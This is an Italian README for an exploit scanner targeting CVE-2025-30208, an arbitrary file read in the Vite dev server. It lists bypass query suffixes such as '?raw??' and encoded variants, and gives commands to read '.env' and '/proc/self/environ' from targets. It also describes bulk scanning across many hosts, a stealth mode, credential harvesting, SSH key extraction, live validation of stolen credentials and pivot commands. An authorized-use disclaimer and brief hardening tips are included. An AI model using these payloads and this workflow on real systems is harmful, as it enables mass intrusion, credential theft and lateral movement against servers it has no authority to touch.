
Scanner di exploit per CVE-2025-30208 (lettura arbitraria di file in Vite) con rilevamento di bypass multi-variante, raccolta di credenziali, estrazione di chiavi SSH e reportistica strutturata per test di penetrazione autorizzati.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Gravità: CVSS 5.3 Media (dev server accessibile dalla rete)
⚠ Esclusivamente per attività di sicurezza autorizzate.
L'uso non autorizzato contro sistemi di cui non si possiede o non si ha esplicita autorizzazione scritta a testare è illegale.
Il dev server di Vite consente di servire file arbitrari dal filesystem host tramite richieste /@fs/.
La mancanza di un controllo di sanitizzazione della query string nelle versioni interessate consente a un attaccante di aggiungere suffissi appositamente concepiti per aggirare la allow-list e leggere qualsiasi file accessibile al processo — inclusi file .env, chiavi private SSH, credenziali cloud e voci /proc.
| Ramo | Ultima vulnerabile | Corretta |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Nome | Suffisso / Query | Descrizione |
|---|---|---|
raw?? | ?raw?? | Il ?? finale rompe rawRE |
import&raw?? | ?import&raw?? | Modulo ES + raw combinati |
raw? | ?raw? | Singolo ? finale |
url&raw?? | ?url&raw?? | Modalità URL combinata |
raw&url?? | ?raw&url?? | Ordine dei parametri invertito |
import&?raw | ?import&?raw | Prefisso import malformato |
sec-fetch | ?raw + header Sec-Fetch | Contesto script del browser |
raw-encoded | ?raw%3f%3f | Separatori codificati URL |
double-slash | ?raw??/ | Bypass del suffisso doppio slash (v5) |
pct-all | %3fraw%3f%3f | Query completamente percent-encoded (v5) |
raw-hash | ?raw??# | Bypass tramite ancora di frammento (v5) |
wasm-init | ?inline=1.wasm?init | Variante gemella di CVE-2025-31125 (wasm init) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Flag | Predefinito | Descrizione |
|---|---|---|
-t/--target | — | URL di un singolo target |
-l/--lists | — | File contenente un target per riga |
--stealth | off | Aggiunge ritardi casuali tra le richieste |
--proxy | — | Proxy HTTP/HTTPS (http://host:port) |
--timeout | 10 | Timeout per richiesta in secondi |
--verify | off | Abilita la verifica dei certificati TLS |
--file | — | Legge un percorso specifico sull'host target |
--save | — | Salva il contenuto di --file in un percorso locale |
--full-chain | on | Esegue la catena di exploit completa (la validazione live è il comportamento predefinito) |
--output | — | Scrive il report JSON + Markdown in questo percorso base |
--workers | 10 | Worker paralleli per la scansione bulk |
--ports | vedi sotto | Porte separate da virgola da sondare in modalità bulk |
--no-color/--plain | off | Disabilita i codici colore ANSI |
--safe-mode | off | Oscura i valori segreti nell'output del terminale |
--show-secrets | off | Mostra tutti i segreti nel terminale (prevale su --safe-mode) |
--version | — | Stampa la versione ed esce |
Porte predefinite per la scansione bulk: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Quando viene specificato --output /tmp/report, lo scanner scrive:
/tmp/report.json — risultati strutturati leggibili da macchina/tmp/report.md — report Markdown leggibile da umaniLa scansione bulk stampa sempre VULN_COUNT=N sull'ultima riga per facilitare lo scripting shell:
python main.py -l targets.txt | grep '^VULN_COUNT='
Le scansioni su singolo target stampano SCAN_STATUS=VULNERABLE|NOT_VULNERABLE alla fine per l'automazione.
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
Lo scanner sopprime automaticamente gli artefatti ripetuti, così che l'output rimanga pulito anche quando HOME è uguale a /root o lo stesso segreto appare in più file:
| Livello | Meccanismo |
|---|---|
| Letture dal filesystem | stage_fs normalizza la lista base delle chiavi SSH con dict.fromkeys e rimuove i percorsi duplicati dalla coda reads prima che venga prodotto qualsiasi output. |
| Salvataggio file | Scanner._save controlla un set _seen_file_paths per scansione; i percorsi duplicati restituiscono il FR già memorizzato senza ri-aggiungerlo a r.files. |
| Segreti | Scanner._save deduplica r.secrets a livello globale per (name, value) su tutti i file; la deduplicazione all'interno del file è gestita separatamente in scan_secrets. |
| Chiavi SSH | stage_ssh raggruppa le chiavi con la stessa firma PEM (primi _PEM_SIG_LEN byte) che compaiono in più file sorgente. |
| Comandi pivot | I blocchi pivot sono indicizzati da (key_source, host, port); le combinazioni identiche vengono stampate una sola volta. |
La riga di riepilogo riporta quanti file, segreti e chiavi SSH sono stati soppressi come duplicati, ad esempio:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0 su reti non fidate..env e rimuovi i segreti non necessari dal progetto.Questo strumento è fornito esclusivamente per test di penetrazione autorizzati e ricerca sulla sicurezza.
Usando questo strumento accetti di avere un'autorizzazione scritta esplicita a testare i sistemi target.
Gli autori non si assumono alcuna responsabilità per usi impropri o danni causati da questo software.
CVE-2025-30208 PoC v5
Il JSON generato ora include:
schema_version (attuale: 1.0.0)status (VULNERABLE o NOT_VULNERABLE)safe_mode (true quando la modalità di oscuramento dei segreti nel terminale era abilitata)report_redacted (true quando esisteva almeno un segreto ed è stato oscurato nei report persistiti)